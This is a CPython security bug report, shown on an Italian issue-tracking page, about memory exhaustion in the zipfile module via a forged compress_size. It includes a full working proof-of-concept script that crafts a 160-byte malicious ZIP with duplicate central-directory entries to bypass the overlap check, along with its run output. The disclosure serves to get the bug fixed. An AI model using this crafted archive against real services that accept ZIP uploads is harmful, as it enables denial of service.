Memory Exhaustion in zipfile via Forged compress_size
Nessuno ha ancora preso questa issue.
- Lingua principale
- Python
- Stelle
- 77.2k
- Fork
- 35.9k
- Metriche di merge delle PR
- Metriche PR in attesa
Descrizione
Bug report
Bug description:
Summary
A short ZIP file forces Python's zipfile module to attempt a ~2 GiB heap allocation.
Details
ZipExtFile._read2() passes a user-controlled compress_size from the central directory to self._fileobj.read(n). On 3.14 builds, ZipExtFile.MAX_N caps a single request at 1 GiB. On 3.15, this was corrected to (1 << 31) - 1 = ~2 GiB. A 160-byte crafted ZIP claiming compress_size=0xFFFFFFFE triggers a ~1 GiB (3.14) or ~2 GiB (3.15) allocation attempt.
Note: The overlap check is bypassed using two CD entries with the same filename and header_offset=0, the first entry (forged sizes) gets _end_offset == header_offset, triggering only a warning.
Reproducer
"""
Memory exhaustion in zipfile via crafted compress_size field.
"""
import resource
import struct
import sys
import tempfile
import zipfile
CLAIMED_SIZE = 0xFFFF_FFFE
MEM_LIMIT = 256 * 1024 * 1024 # 256 MiB
def craft_malicious_zip(claimed_compress_size: int) -> bytes:
"""
Build a minimal valid ZIP with two CD entries.
"""
filename = b"a.txt"
file_data = b"x"
real_size = len(file_data)
local_header = struct.pack(
"<4s2B4HL2L2H",
b"PK\x03\x04",
20, 0, 0, 0, 0, 0, 0,
real_size, real_size,
len(filename), 0,
)
cd_offset = len(local_header) + len(filename) + len(file_data)
cd_entry_forged = struct.pack(
"<4s4B4HL2L5H2L",
b"PK\x01\x02",
20, 0, 20, 0,
0, 0, 0, 0, 0,
claimed_compress_size,
claimed_compress_size,
len(filename),
0, 0, 0, 0, 0,
0,
)
cd_entry_normal = struct.pack(
"<4s4B4HL2L5H2L",
b"PK\x01\x02",
20, 0, 20, 0,
0, 0, 0, 0, 0,
real_size,
real_size,
len(filename),
0, 0, 0, 0, 0,
0,
)
real_cd_size = (
len(cd_entry_forged) + len(filename)
+ len(cd_entry_normal) + len(filename)
)
eocd = struct.pack(
"<4s4H2LH",
b"PK\x05\x06",
0, 0, 2, 2,
real_cd_size, cd_offset, 0,
)
return (
local_header + filename + file_data
+ cd_entry_forged + filename
+ cd_entry_normal + filename
+ eocd
)
def main():
malicious_zip = craft_malicious_zip(CLAIMED_SIZE)
with tempfile.NamedTemporaryFile(suffix=".zip") as tmp:
tmp.write(malicious_zip)
tmp.flush()
try:
with zipfile.ZipFile(tmp.name, "r") as zf:
forged = zf.filelist[0]
with zf.open(forged) as f:
f.read()
except MemoryError:
print(
f"MemoryError from {len(malicious_zip)}-byte ZIP "
f"with compress_size={CLAIMED_SIZE:,}"
)
sys.exit(0)
except Exception:
print("BLOCKED: zipfile rejected forged compress_size")
sys.exit(1)
print("BLOCKED: no allocation error raised")
sys.exit(1)
if __name__ == "__main__":
resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
main()
Due to how RLIMIT works, that's better to run the poc in a container.
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
/work/poc.py:92: UserWarning: Overlapped entries: 'a.txt' (possible zip bomb)
with zf.open(forged) as f:
MemoryError from 160-byte ZIP with compress_size=4,294,967,294
Impact
Memory Exhaustion
Linked issues
https://github.com/python/cpython/issues/141713
/cc @serhiy-storchaka
CPython versions tested on:
3.15
Operating systems tested on:
macOS, Linux
Linked PRs
- gh-151509
Guida per i contributori
Apri la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Direzione di ricerca
Iniziare da ZipExtFile._read2() nel modulo zipfile e riprodurre il comportamento con lo ZIP contraffatto fornito entro il limite di memoria indicato. Esaminare l’issue 141713 e la pull request gh-151509 per conoscere la direzione attuale. Il lavoro è completato quando la compress_size contraffatta non causa più la grande allocazione o l’esaurimento della memoria dimostrati.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Valutazione
- Stack tecnologico
- python
- Ambito
- security
- Tipo di issue
- Bug
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Stato di attività
- Ferma
- Chiarezza
- Abbastanza chiara
- Idoneità per principianti
- 25/100